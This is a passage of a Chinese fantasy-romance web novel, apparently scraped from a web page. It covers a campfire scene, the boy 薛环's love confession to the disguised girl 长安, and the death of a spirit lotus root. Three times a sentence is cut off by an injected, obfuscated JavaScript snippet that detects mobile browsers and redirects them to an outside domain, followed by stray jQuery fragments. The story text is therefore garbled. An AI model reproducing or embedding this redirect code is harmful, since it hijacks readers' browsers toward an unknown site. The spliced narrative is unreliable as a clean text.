花铁铁不以为然,伸手召唤她放在营地的六合觉龙枪,只听得一声浑厚的龙吟混杂着金属的撞击声,六合觉龙枪穿过密林,被花铁铁一把握住,龙气震得众人一阵耳鸣…… 花铁铁甩了个枪花站定,那情形,简直……又特么帅呆了!我很没出息地跟着其他四人一起“哇!”了一声。 花铁铁对我们的反应满意极了,英姿飒爽地挺直腰板朗声道:“现身吧,正好给我家龙龙开开荤。” 一丝风也没有,湖面却荡起微微涟漪,藕花深处,仿佛有几根荷叶再瑟瑟发抖…… 茂密的灌木丛中,又听得一声叹息,紧接着走出一个十二三岁样子的半大小子。 “薛环!”看清来人,众人异口同声,惊讶道:“你怎么在这里?” 薛环看了看花铁铁,又看了看手中依旧握着莲花茎的郑清,摇了摇头,一手端于身前,一手负于身后,颇有腔调地玄奥道:“终……还是机缘未到啊。”说着走到我面前,摸了摸我的头,捏了捏我的小脸蛋,道:“这青莲是我寻了好久,精心守护,本打算等它结了籽,采下来给你治病的。” “给我治病?”我惊奇地问,眼睛转了转,向他确认道:“治我这长不大的病?”众人也都满脸疑惑的看着薛环。 薛环看着我可爱的样子,舒展眉头 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重生青莲,花开一百年,这一百年要异常勤勉,日夜精修方能孕育出籽。我根据典籍判断,这一株青莲再有五六年的光景,便可结籽了。”薛环满脸哀婉,闭上布满红丝的眼睛,仰天叹息:“可惜了,只要在这里好好守着,等个五六年……” 大家闻言,面面相觑,最后看了看我,又看了看郑清手里拿也不是,放也不是的莲花茎,都低下头不做声了。 原来我的病,有的治,可是现在没了。 气氛十分低落。平安小声啜泣,郑清红着眼睛,一直说着对不起。花铁铁也帅不起来了…… 薛欢过来将耷拉着脑袋,仿佛是个空心人一般的我,抱在怀里,自责道:“是我不好,是我大意了。” “没有谁不好,不是谁的错,哪有什么对得起对不起。”我吸了吸鼻子,努力打起精神,从薛环怀里直起身子,仰着头跟众人,打哈哈道:“啊哈哈,都干啥啊,一个个催头丧气的,我这不好好的吗?又不是要死了?好啦好啦,都开心起来,我的病我本来也没抱什么希望,根本都没想着还能有法子治。环哥,这些日子你为我默默奔波,实在费心了,谢谢你。不过有些东西,就是命,不能强求,我本来就是个童子命,长不大就是命,得……认命。” 说完,我咧着嘴,呵呵一乐。 薛环似乎被我的乐观感染,缓了缓脸色,眯起眼,勾起唇角,刚要说些什么,却见他视线下滑定在我的豁豁牙上,表情瞬间凝滞起来,蹙眉关切道:“你牙呢?!” “哦……”我一时呆住,旋即记起自己的丑样子,立马羞红着脸,赶紧捂住嘴巴。 薛环根据众人神态反应,锁定了花铁铁,气愤不已的低吼道:“花铁铁,又是你!?” 花铁铁本来还觉得愧疚,被薛环一吼,瞬间来了脾气,“又不是故意的,怎么了?再说你小子算什么东西,你管得着吗你?”说着,她将我从薛环怀里拉出来,很嫌弃薛环似的道:“起开,我家长安岂是你想抱就抱的。” 说完,就牵着我的手,一边朝帐篷走,一边关切地问我:“长安,饿了吧?堂邑夫咱们荷叶鸡好了没,好了咱就开饭吧,长安本来就不长高,可不能再把我长安饿瘦了。” 花铁铁最擅长自己给自己找台阶下!薛环也正好懒得与她纠缠。 72. 肋骨 神君不在帐子里,也不在附近,平安拿着鸡腿唤了许久,也不见踪影,我感受了一下,也没查寻到神君的气息,想着大概神君是关在结界里太久了,乍一出来玩野了,便走得远了些。 薛环好像不是很满意荷叶鸡的味道,吃得很少。堂邑夫以为他不好意思,一个劲儿劝他多吃点,他礼貌的说着谢谢,只道吃好了来婉拒,见我爱吃,就和柳延年一起喂我,还跟我说他也会做荷叶鸡,回京以后让我尝尝他的手艺。 柳延年和好兄弟薛环好久没见,自然话多,问东问西。薛环都一一解答,毫不遮掩,但其实也不算全盘托出,因他出身鬼城,好多事情他都没解释的太细,仿佛只要引到鬼城上面,就全都迎刃而解。 错失青莲,薛环也不必在外逗留,这次跟着我们回去便可安顿下来,我想让他在堂邑夫身边做个书僮,去学宫长长见识学学本事。 堂邑夫简直大喜过望,要知道,作为他书僮的我,这阵子几乎一直跟在皇帝和太子身边伺候,根本没办法帮忙打理他在学宫的一应日常内务。 本来堂邑夫也不是什么娇生惯养的世家公子,自己打理内务也没啥,只是眼下学宫大考在即,他学业繁重,一边要学习,一边又要分出心来整理内务,身边没个知心人伺候,实在耽误功夫,总是借用田世子的书僮田男男帮忙,也不好,欠下人情还起来更麻烦。 柳延年有些不乐意,他对薛环另有安排,于是说出他的打算:他现在又被特招回宫中任职,接下来两位郡主,一位公主的及笄礼在即,还有太子的大婚,他这个乐府协律郎要忙的事情太多了,就想着叫薛环赶紧回他身边,帮忙打理万园街产业,还有去洛阳拓展商业的事,李大娘子那边也提上日程。 摆在薛环面前两条路,跟着柳延年,做他的左膀右臂,大概率以后就是大主管大财商,日进斗金,富甲一方,数不尽的荣华富贵。跟着堂邑夫,即便是学宫学子的书僮,也不过就是个书僮而已,未来发展可大可小,自不好说,但眼下显然柳延年给的出路比我好,我便不好再多嘴。 薛环看了看不做声的我,微微笑着,道:“我想做书僮,万园街,我不想回去了。” 对嘛,他在万园街差点被一板砖拍死,不想回去,是合情合理的。我眼睛在篝火的映衬下微微一亮,低下头,不着痕迹地压了压勾起的唇角。薛环宠溺地看着我轻轻浅笑。柳延年有些失落,却也无话可说。 我想神君不回来,大概是在外面吃野食了,平安给它留的那个鸡腿,我就忍不住想吃。柳延年看出我心思,把我抱在膝头,将鸡腿要过来一点一点撕碎了给我吃,不得不说,他对我越发的体贴入微了。 我挪了挪小屁股,直接倚在柳延年怀里,一边满足地吃着香喷喷的鸡腿,一边快乐地前后摆着小腿。 薛环坐在一边拿着帕子给我擦嘴巴,我就停下来所有动作,认真地侧头伸着下巴,给他擦。他递过来茶水,我就慢慢享用,被人伺候的感觉真好,我心情分外愉悦。 平安和郑清肩并肩靠在一起坐着,在篝火旁烧树枝玩。堂邑夫采摘了一些无花果用无花果叶子包着拿回来,正向花铁铁贴心的殷勤,却被百般挑剔……花铁铁把无花果都送给了平安。 不一会儿,我鸡腿就吃完了,柳延年看着我咯吱咯吱的啃着鸡腿上的脆骨,忽然想到什么,压抑着兴奋,柔声问道:“哎,长安,你说我天生仙骨,你啃我一根骨头,你那长不大的病能给治好不?” “……啃你一根骨头?”我顿下来,看了看手里的鸡腿骨,又低头看了看柳延年的大腿,脑补了一下我抱着柳延年一条大腿生啃的画面,顿时有些犯恶心。 柳延年忙道:“不是腿,是肋骨,人有很多根肋骨,拆一两根儿给你治病吃,没啥影响。再说,男人少两根肋骨,很正常的。” 柳延年此话一出,大家都静下来,堂邑夫不自觉地摸了摸自己的肋骨,犯嘀咕,他实在是没听过什么‘男人少两根肋骨很正常’的说法。 平安看了看手中的无花果和无花果叶子,似是想起了什么,侧头问柳延年:“你要做亚当啊?!但是亚当取了两根肋骨是要做夏娃的,也不是给人吃啊。” “什么是亚当、夏娃?”郑清像个好奇宝宝,轻声问。 于是柳延年和平安又借口说在失落的典籍里看到的西方造物主故事,给大家讲述了一番。 我自然是不信的,但是堂邑夫却很感兴趣似的问道:“这么说女人是男人肋骨做的?那男人是不是比女人少两根肋骨?” “为什么是少两根呢?应该还是一样多啊,男人一开始有二十六根肋骨,取了两根出来做女人,然后做女人的时候直接做成二十四根的,这样男人女人不就一样多了吗?”我可真是个机灵鬼。薛环宠溺地看着我,微微笑着。 花铁铁鄙夷的白了堂邑夫一眼,嫌弃道:“啧啧啧,大傻子,且不说是不是长安说的那样,就说咱这么多年死人骨头见了多少,男人女人肋骨一不一样多,你心里没数啊。” 平安听了我们的话,回过味儿来,想到我们江湖上闯荡,刀光剑影,腥风血雨,手上不知过了多少人命,便不由缩了缩发冷的身子。郑清将她揽在怀里,低声叫她别怕。 柳延年没理花铁铁,只回答堂邑夫的问题,道:“少不少的,我也不知道,反正典籍里西方人的神话是这么说的,但按照咱们东方人的神话说,不管男人还是女人,都是女娲娘娘用泥儿捏的,定是一样多的。” 堂邑夫还是纠结西方男人的肋骨到底少不少的问题,我道:“等以后咱们去西域,抓几个男人回来杀了数一数,不就知道了。” 平安说故事里的那个西方是比我们知道的西域,还要更遥远的西方。 西域之西?!大家闻言眼睛都是一亮。 柳延年清了清嗓子,又要高谈阔论。 可我实在不喜欢他谈论那些来自另一个世界的见识时,那种眼界比我们开阔,思想比我们先进的优越感,于是赶紧把话题拉回来,对柳延年说,他的骨头应该并不能医治我的病,他这一身仙骨,虽然是好东西,但也仅限于修真,对于我这种常人没什么作用。 柳延年觉得行不行,还是试一试的好,凡事都有万一,万一有用,皆大欢喜! 我郑重地谢绝并强调,就算有药力,我也不吃,吃人是奴人才干得出来的事儿。 柳延年有些不死心,说,吃一根两根的不算吃人。说着就要解衣服。我赶紧从他膝盖上下来,躲到薛环另一边儿去。 花铁铁本来听他说话就来气,这下更烦了,就吓唬他说,脱脱脱,赶紧脱,脱个精光,劝他别太小气了,开一次口子,多拆几根骨头,我们大家都沾光尝尝仙骨的味道。 果然柳延年,瞬间合上衣服,紧紧攥着衣领,警惕地瞪着花铁铁。 花铁铁又来了气,转而讽刺挖苦柳延年,说他现在已经断了仙根,仙骨灵气封锁,连自身都无法滋养,何况药用治病。她叫柳延年别把自己当个宝,说这身破仙骨,若非修仙门的人把他抓去放入炉鼎之中,用法术炼化,制成丹药,吃了或许能够助益修行,否则一点用处也没有,说到底就是废物一个而已。 柳延年叫花铁铁几句话怼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024410|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得心塞,捂着心口,痛苦的不行。平安说柳延年也是好心,让花铁铁别说了。我给柳延年抚着后心,再次谢谢他的好意,劝他先好好爱护自己要紧。 薛环在一旁不做声,眼神却在我们之间不断游走,最后道:“长安的病,我再另想法子,你们不用操心,也别添乱。”最后是看着花铁铁说的。 花铁铁立即有种来者不善的感觉,眯着眼睛审视,她很是奇怪,这小子,跟她也不过两面之缘,几乎没有接触,哪来这么大敌意,想来想去,觉得问题还是出在我那口被她不小心打掉的牙上。不过她并不在意薛环,因此懒得计较薛环的态度,不屑地“切”了一声,无视了过去。 我压制住满心的期待,我怕希望越多,失望越大,可还是忍不住,佯装淡定地问道:“还有什么法子吗?” “只要是病,就有的救,你放心,我不会让你空欢喜。”薛环信誓旦旦。 那种熟悉的感觉又扑面而来,堂邑夫不由地嘀咕了一句,“说话风格,行事做派的调调……还真是……如出一辙。” 花铁铁不禁侧头问道:“什么如出一辙?” 堂邑夫愣了一下,随即啊哈哈地笑起来,打着马虎眼,扯开话题,说烤无花果和烤荷叶鸡的方法一样如出一辙,将一个串在树枝上,被篝火烤的外焦里稀烂,滋滋冒着汁液的无花果,伸到花铁铁面前,问花铁铁要不要尝尝。不出意外地又被花铁铁嫌弃了一番。 花铁铁把烤无花果抢过来,直接扔了,叫堂邑夫也滚。堂邑夫说了声“好来。”起身将摔得有些烂掉的无花果捡回来,坐在花铁铁身边继续烤,花铁铁打了他两下,他不走也不躲,脸上全是从心底溢出的笑容。 不是我家大螳螂不要脸,没出息,实在是男人跟喜欢的女人在一起,就算挨骂挨嫌弃,也是幸福快乐的。 平安很关心我的身体,听到薛环说还有救,就过来询问。薛环却高深莫测的样子,不肯多说。 平安坐回郑清身边,一脸茫然,奇怪道:“小环以前总是跟我姐姐长姐姐短的,这些日子不见,怎么变了这么多啊?” 薛环叫平安莫怪,说他原本就生性如此,“之前因为一些事情失忆了,在万园街混迹过活,着实圆滑了一些,后来伤了脑袋,虽差点丢了性命,却因祸得福恢复了记忆,性格也随了回去,自然有些不同。”若有冒犯,请平安多担待,又说,他向来觉得语以泄败,事情没成之前,他不想多说,并非刻意疏远冷淡。 对于柳延年和平安来说,薛环此次归来,行事做派,待人说话,甚至在眼见学识上,都变化很多,着实陌生好些。这一番话很好的解释了这一点,让一切看起来都说的通了。可对于我和堂邑夫来说,薛环展露的越多,那种熟悉感就越强烈,以至于我们有些恍惚,只觉得眼前的薛环,都快和某个人重叠了。 怕是花铁铁也觉出那难以忽视的熟悉感,满脸不可思议,深深审视着薛环,对上薛环不卑不亢的眼神,两人相持一会儿,她竟不由的躲了躲。 反应过来是自己先移开了视线之后,一向好强的花铁铁愣了一下,这种败下阵来的感觉,让花铁铁很不服气,马上仰着高傲的下巴哼了一声,转过头来,继续盯着薛环看。 柳延年正好坐在薛环和花铁铁中间,很不幸的在花铁铁眼神路径之内,被误伤到了,他对花铁铁异常行为,百思难解,不知道她在发什么神经,又不敢轻举妄动,便把我重新抱在膝上,躲在我肩后,只漏出两个眼睛警惕的防备着花铁铁。 薛环早已收回视线,花铁铁盯了半天,再没找到对视的机会,只好作罢。 73. 诉情 晚上我们睡觉,柳延年勇气可嘉地提出想和我挨着睡,但是那样的话,花铁铁和他中间便只隔了一个小小的我,他俩几乎就挨在一起了,花铁铁顿时一百个不愿意。 柳延年躲花铁铁都来不及,自然也不愿意靠花铁铁太近,忙说他的意思是安排平安睡中间,花铁铁上郑清外边,那样就离他远了。这边平安身边是我,我身边是他,他身边是薛环,堂邑夫上花铁铁那边,或者直接在薛环外面,都行。 柳延年挥斥方遒指点江山的样子说完,似乎对自己的提议很满意。我头有点大,已经不太想睡了,打算这晚就在外面守着篝火打坐,运气练功也是好的。 平安微微蹙眉支吾了一声,虽然什么也没说,但我们都知道,她有点不愿意郑清挨着花铁铁。 柳延年会意,恍然大悟,拍了拍额头,立马说可以让堂邑夫躺郑清和花铁铁中间,这样就把郑清和花铁铁隔开了。堂邑夫有些开心。 可柳延年话音刚落,就让暴怒的花铁铁掐脖子架出帐篷,扬言要给他捏死。 花铁铁是不可能挨着堂邑夫的,更不可能睡在外面的,她一定得躺中间。她就是掀了帐篷,让大家都没得睡,也绝不可能答应柳延年的提议。 柳延年看似把我们安排的明明白白,实则弄的乱七八糟,大家在一起这么久了,他还摸不透花铁铁的脾气,这么作死搞事情,我觉得挨揍也是活该。 大家都有此感,是以都在一边看着花铁铁殴打柳延年,并未劝阻。再说花铁铁有数,没打脸,力度也有分寸,不会真的伤及要害,危及性命,花铁铁气消了,自然也就停手了。 最后我们还是按照原来的顺序躺着睡,只不过哭唧唧的柳延年外侧加了一个薛环。唉,柳延年这个大傻子,到底折腾什么啊,就为了埃顿揍啊? 累了一天,大家安然入睡,不一会儿鼾声渐起。薛环把我叫醒,我起身跟着出去,花铁铁睁眼看了一下,又看了看近在咫尺的堂邑夫,蹙了蹙眉头,转过身去,面朝着平安继续睡,堂邑夫不着痕迹的翻了个身,覆盖在我的位置上…… 大螳螂心眼子真多,一丝靠近花铁铁的机会都不放过。我勾唇笑了笑,才放下帐篷门帘,转身跟上薛环,小声问:“叫我出来什么事儿啊?” “来。”薛环话不多说,只牵起我的手,在密林穿行,来到一棵巨大的树下,我仰头借着月光,看见树上有个精致的树屋,不由的“哇”了一声,表示赞叹。 薛环笑了笑,柔声道:“这段时日,我守着重生青莲,就住在这树屋里,帐子里人多,太挤了,咱们今晚就睡这儿吧,正好明天启程,我也要收拾收拾东西带上。” 树屋温馨又舒服,透过大大的窗子,正好俯瞰整个湖泊,薛环有些惋惜,自责道:“差一点,唉,早知道不去和那只山狸子缠斗了。” 我伸手抚了抚他皱起的眉头,“环哥,你为什么对我这么好啊,这么关心我的事。我实在想不到你能为我,回去鬼城翻阅典籍,苦寻治病之法;还情愿孤身一人在这深山老林里守上五六年,就为了等一粒种子,治好我。”我咬了咬唇,轻轻地问:“如此这般,煞费苦心,为什么啊?你我不过泛泛之交而已。” 泛泛之交四个字一出口,我的心就提到了嗓子眼,我不明白自己为什么会在知道他为我做了那么多付出之后,还用这么疏离冷漠的词,去形容我们的关系。 很久之后,我才晓得,原来女子隐隐察觉情愫,又不确定男子心意的时候,会不自禁说一些刻意疏远关系的话,反问对方干嘛对自己这么好,来进行试探。 我那时根本不知道自己这般小儿女心态的言行,在洞悉所有的薛环眼中是怎样的可爱。只懊恼不已,忐忑不安地看着薛环,见他并不在意,丝毫没有责怪我的意思,反而眼中闪过一抹愉悦,抿着嘴,对我浅浅一笑。这才轻轻舒了口气,放下心来。 “因为我喜欢你!”薛环捧着我的脸,深情款款望着我,用温柔的都要化了的声音道:“我喜欢你,想和你一起长大,这个理由够不够?” 我以为他不会回答我了,谁知他竟说他喜欢我?!他说他喜欢我!!?? 薛环的直给,让我激动之余,震惊不已。可多年以后再回味起来,倒不惊讶了,只感叹,毕竟是他,既然已经洞悉所有,又怎肯拐弯抹角。他可是麒麟杜晦啊,永远真诚直白的,光明之子。 那时,不明真相的我,一颗鲜活炙热的心被他的一字一句重重的撞击着。我清晰的记得,炎炎夏日,我身上的汗毛顿时立起,脑子轰的一声,什么都装不下了,就只剩下眼前的少年。 瞳孔剧烈地震动,慢慢慢慢瞪大的眼睛,深深地仔仔细细地看着他,生怕错过他脸上任何一个细微的表情,从而判断失误,被他蒙骗。 怎么可能,会有人喜欢我?! 可是,他是赤诚的,纯真透亮的,不掺一点虚假。纯白干净,表里如一的样子,让我呆呆地愣在那里,竟怀疑起自己的耳朵,“你,你说什么?你刚才说什么?”我想,我一定是听错了。 薛环笑了,明眸皓齿,月光下的他好迷人啊,我简直挪不开眼。我竖着耳朵,像一只温顺的小兔子一样,乖乖地坐在他的面前,紧张又认真地,带着期望静静地等待他的答案。 “我说,我喜欢你,我想和你一起长大,所以,我是全天下,最想治好你的人,无论多么艰辛,无论多么困难,无论药材多么难得,我都要治好你,因为,我喜欢你!很喜欢你!”薛环热烈的表达着,成熟的根本不像是个十二三岁的半大小子。 我沉沦在他温柔痴情的眼眸里,即便他还没有把我治好,我就已经想着如何报答这份心意了,“要我,要我以身相许吗?等治好了以后……” 薛环愣了一下,随后忍俊不禁笑出声来,如果我能听见他的心声,就会知道那个时候他简直开心到爆炸——好可爱,我的长安真是太可爱了,一下子说到我心坎上了,我好喜欢……可是以身相许,要在你认出我来之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026929|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后哦。 薛环稳了稳神色,用食指刮了刮我的小鼻子,眯着眼睛呵呵笑道:“傻瓜,如何一张口就给出这世间最好最昂贵的馈赠?!真是傻得可爱,我从没想着你回报什么,更没想着索取。自始至终都是我一厢情愿,你又没强求我一定要这样做,所以,不需要报答的; 我喜欢你,我想和你一起长大,当然也梦想着我们成年以后能做夫妻,但着是我自己的心愿,寻找灵药治好你的病,克服万难,所经历的努力和辛苦,也都是我为了我自己的心愿,心甘情愿去付出的,跟你没关系,你不要觉得亏欠。” “如果非要报答。”薛环捏了捏我的小脸蛋,将我抱在怀里,“我要的报答,只是你好好活着,拥有完整的,美好的一生而已。” 好感动啊,可是……“你为什么会喜欢上我呢,就算以后你能治好我,可迄今为止我都没长开,还女扮男装,总是一副小童子的模样,牙又掉了好几颗,更丑了,你怎么会喜欢我呢?嗯……什么时候的事儿,我是说,你是,你是什么时候知道我是女孩子,开始喜欢我的?”我有些迷糊,我感觉我扮男孩子扮的挺像的了。 所以我是女孩子,他是什么时候发现的,又是怎么发现的呢?是他自己看出来的,还是从柳延年那里知道的?可柳延年再贱,也不会闲着没事主动提起这件事啊。那应该就是他自己发现的吧。至于他对我的事多有了解,我认为应该是他喜欢上我以后,又去跟柳延年打听的。毕竟,男孩子都热衷打听关于喜欢的女孩子的一切事情,什么喜好啊,口味啊,等等,都会细心打听的。 从薛环对我的了解也变相得知,柳延年对我还挺留心的,知道的还挺多。不过柳延年那里关于我的事情,应该也就那些了,薛环想进一步了解我,便只能通过堂邑夫了,所以他才会义无反顾地选着跟在堂邑夫身边做个书僮,连成为巨商的机会都放弃了。 哇呜,这一切,又都是为了我嘢。 我心里是极其欢喜的,甜蜜的,却又难以置信,心中七上八下的,竟自卑情怯起来,好生忐忑,还挺烦恼的:可我这样子,他怎么会喜欢我呢,喜欢我什么啊,喜欢我有病,喜欢我丑? 薛环仿佛看穿我凌乱的心思,好笑地摸了摸我的小脑袋,道:“我早就知道你是个女孩子啊,是个很漂亮的小姑娘,你怎么会丑呢,你好看着呢,什么样子都好看,长大了更美更好看。”薛环紧了紧抱着我的胳膊,温柔得都要化了,轻声道:“你还小,在你眼里我也还小,说爱未免有些早,但是我的小傻瓜啊,我对你的喜欢,那是从上辈子就开始的感情啊。” 上辈子?做什么忽然扯这些有的没的?又俗套,又老套!?男人都这样吗?可他不像是那样喜欢胡扯的人啊? 我又迷糊了,仰着头,对上薛环的眸子,眨了眨眼睛,脑子里乱乱的,想理顺,却发现自己根本静不下心来。 最后完全放弃思考,只道:薛环,你真的好会花言巧语啊,可我,真的好爱好喜欢。 74. 灵藕 有人喜欢的感觉真好。 我融进薛环的拥抱,把头靠在他的肩上,很是乖巧。忽然,鼻子一酸,眼泪便不合时宜的,不争气的像断了线的珠子一般落下来。我顾不上擦,只轻轻抽泣道:“很久之前,很久很久之前,我就盼望着,希望有一个人,能如这般喜欢我。” “我知道,我都知道。”薛环心疼地蹙着眉头,抹了抹我的泪珠,怜惜不已地在我额头上,轻轻吻了一下,“等我。等我把你治好。你会长成漂亮的大姑娘,美得芳华绝代,不可方物,只有一个人喜欢你爱你可不行,要所有人都喜欢你,都为你倾倒,为你痴迷,疯狂热烈诚挚地捧着真心爱你,你会被爱包围,你可以尽情享受爱,也可以尽情的去爱,你甚至还要挑挑拣拣,你高贵,傲娇,甚至恣意任性,再也不需要卑微的幻想,渴求有那么一个不嫌弃你的人来施舍爱意。” 毫无质疑,薛环是懂我的,我感动的身子不住地颤抖。可他的话分明还另有深意,我不可置信的抬头看着他:“你……” 薛环低头吻去我眼角的泪珠儿,擦着我的鼻涕,低声郑重道:“是的,我的小傻瓜,我是真的没想禁锢你,不要你以身相许的话,并不是说说而已。长安,请你记住,你是自由的,若非你愿意,没有人能独有你。 无论那些所谓的努力和付出,我做了多少,都不是对你提出任何要求的筹码,长安,在我这里你永远都是自由的。 请不要因为感动,而作任何牺牲,来轻易许下承诺。那样,我也不开心,我甚至会深深愧疚,会狠狠自责给你的爱不够纯洁。我只想对你好,不想给你一丝的压力,一毫的束缚。 长安啊,我对你的爱,超乎你的想象,我不想多说什么,我只想做给你看,在我成功治好你之前,你可以怀疑,可以不信,甚至可以认定眼下所有的一切都是我这个半大小子的油嘴滑舌胡说八道,都没关系,等我成功了,你会看到答案的。” 好感动,他说的话好好听,我好喜欢,就算是花言巧语,骗人的,也好喜欢听啊。忽然就理解那些被骗了感情,还执迷不悟的女人了。 我不是傻子,一个半大小子能说出这种话,谁听了不疑窦丛生啊,虽然他也没让我信,话里话外都劝我先别急着信,要我等他成功再说。可是,我就是忍不住想信啊!面对这么温柔缱绻,痴情赤诚的人,谁不犯迷糊了? 什么自由,什么爱不够纯洁,我根本不在乎,只要有人喜欢我,只要说我爱听的话,我不要自由,我不要纯洁,我也不要分辨真假伪实,不要考虑信还是不信,更不要等,我等不及,我什么都不要想,我根本分不出精力思考,我丝毫不打算挣扎,那样只会让我感觉疲惫。 我只想对脑中残存的理智说,先麻烦你靠边站。我就大大方方的沉沦了,我上头了,谁说也不好使了,薛环本人也不行。 我溺在薛环的温柔里,此时心中一腔热血,深情沸腾,抬起头痴痴地看着薛环,认真地说着承诺:“可是,这一刻,就是现在这一刻,就算你没成功治好我,我也是真的想以身相许啊!”说完,我羞红着脸,扑进薛环的怀里。 薛环欢喜的笑着,嘴角高高翘起,眸子里全是柔情,他忍不住深深亲吻着我的额头,然后满足地抱着我,用下巴和脖子摩挲着我的头顶,可他只许自己放肆地开心一小会儿,便恢复理智,道:“傻瓜,果然还是个小傻瓜,唉,终归情窦初开的年纪,还是太小了,太容易晕头转向了。” 他抬手抚上我的头顶,一股清凉倾泻而下,我舒服的嘤咛一声,脑子已然清明,却依旧眯着眼享受他的怀抱,不肯清醒半分,坚决以身相许。 “唉……”薛环轻叹一声,将我从怀里拉出来,温柔地直视着我的眼睛,语重心长道:“长安啊,女孩子哪能如此轻易以身相许呢?男人,不管是谁,别人也好,我也好,男人的话,听听就好。看男人,一定要看他做了什么,光做了还不行,还得看结果,有结果也不够,还得看你自己的真心,真心喜欢,真心爱,才能把自己交出去,知道了吗?要记住啊。” 方才他像一个情郎,热烈地表达着爱意,此刻,他又像一个父亲,在叮嘱教育一个女儿如何谨慎的选择托付终身的另一半,惴惴不安的样子,就怕女儿识人不清,行差踏错,吃亏受伤。 不管他有几副面孔,只要每副面孔都爱我喜欢我就好。就像小时候吃过的一种糕点,一层一层的,每一层的味道都不一样,每一种味道却都深深地吸引着我,让我心心念念,难以忘怀。 他说的那些道理,我何尝不懂,可是,情窦初开经不起撩拨只是一方面,最重要的是,我渴望这一刻太久太久了,对贫瘠干涸的沙漠来说,一滴甘露也弥足珍贵,也值得我不管不顾勇往直前。哪怕把自己燃烧殆尽又如何,在爱的世界里,我本就一无所有。 我贪恋他的怀抱,一刻也不想离开,结结实实地贴在他的怀里,听着他强有力的心跳,点点头,“嗯”了一声。 薛环满脸宠溺,无奈地摇摇头,苦笑道:“这样子,哪里是懂了呢?” 这么温暖的怀抱,我根本顾不上懂。“你喜欢我吗?” “喜欢!” “你爱我吗?” “爱!” 太好了!这种奢望的感情我盼得太久了,久得我都不抱希望。可现在,我被爱包围了。就算是假的,我亦甘之如饴! 我好怕这是一场梦,天亮了,就没人再如这般模样喜欢我爱我了。 我舍不得睡,贪得无厌的索取薛环的柔情,我要很多爱,很多很多爱,一遍一遍叫他说他喜欢我,说他爱我,最后不知不觉地在他怀里迷迷糊糊的香甜的睡熟。 林间的虫鸣,荷塘的蛙叫,是最好的催眠曲,薛环也睡得安稳,似乎好久都没睡得那么舒服,他梦里都勾着嘴角,直到一阵喧闹声传来。 花铁铁又出幺蛾子了,她还是把青莲的灵藕根给挖出来了。 只见她一身淤泥,一手抓着莲藕茎叶,一手制着挣扎尖叫的灵藕娃娃,兴奋地大声嚷嚷着叫众人快起来看。 灵藕娃娃越是挣扎哇哇尖叫,花铁铁越是兴奋,难以自抑的仰头哈哈大笑,那副贱兮兮的样子,简直和恃强凌弱调戏妇女快活到头的狂徒,毫无差别。 不等众人出言制止,训斥责怪。那只闪着荧光,娇俏可爱的灵藕娃娃,长叫一声,两眼一番,小腿一蹬,浑圆的肚子一挺,失去了知觉,鲜亮的周身瞬间没了光泽,变得同寻常的莲藕一般无二。 花铁铁的笑容顿时僵住,上下前后左右晃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030396|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃灵藕,一脸不可置信的样子,“死啦?装得吧,不会吧,真死啦,这么不经逗?!”说着,又使劲晃了晃,甩了甩,还用都是淤泥的手挠了挠灵藕,“痒痒吧,痒不痒?还挺能忍,格叽格叽……嗯?没反应,难道真死啦!?” 花铁铁眼睛转了转,张开大嘴,扯着灵藕的小胳膊,作势要咬,见灵藕还是没反应,就吓唬道:“我要吃你喽,真的要吃喽。”最后确定灵藕死了,满脸失望略带伤心道:“居然真的死掉了。” 众人沉默不语,只是一味愤怒。 平安咬着嘴唇,对那灵藕心疼极了,梨花带雨,道:“铁铁,你做什么非要折腾这小小灵藕,它修行多不易啊,这下好了,直接给弄死了。” 柳延年大概是想起了自己从前在花铁铁手底下的遭遇,也红着眼圈,蹙着眉头,凶巴巴地狠狠地看着花铁铁。 郑清一手揽着平安,一手拿着帕子给平安拭泪,低声安慰,却也拧着眉头,瞥了花铁铁一眼。 堂邑夫站在一边,抿着嘴唇,满脸失望和怨怼,这次花铁铁无端欺负弱小实在过分,他也难以容忍。 花铁铁环顾众人,瞬间发飙,“干什么?干什么?你们要干什么?我又不知道这青莲灵藕这么容易死,我就是想着藕根补胃,长安小时候落下饿疾的病根,到现在都没好,我灵机一动,觉着这藕有灵性,挖出来跟它要一节藕给长安吃吃,就算治不了长安长不大的毛病,总能把长安的饿病治好吧。就算治不好,那也能给长安补补身子……” 灵机一动?她还是少灵机一动吧!有句话怎么说来着?坏人绞尽脑汁,也不如蠢人灵机一动。但凡对我身子有好处,薛环还能等到你下去挖灵藕啊?!站在林子里的我不禁腹诽。 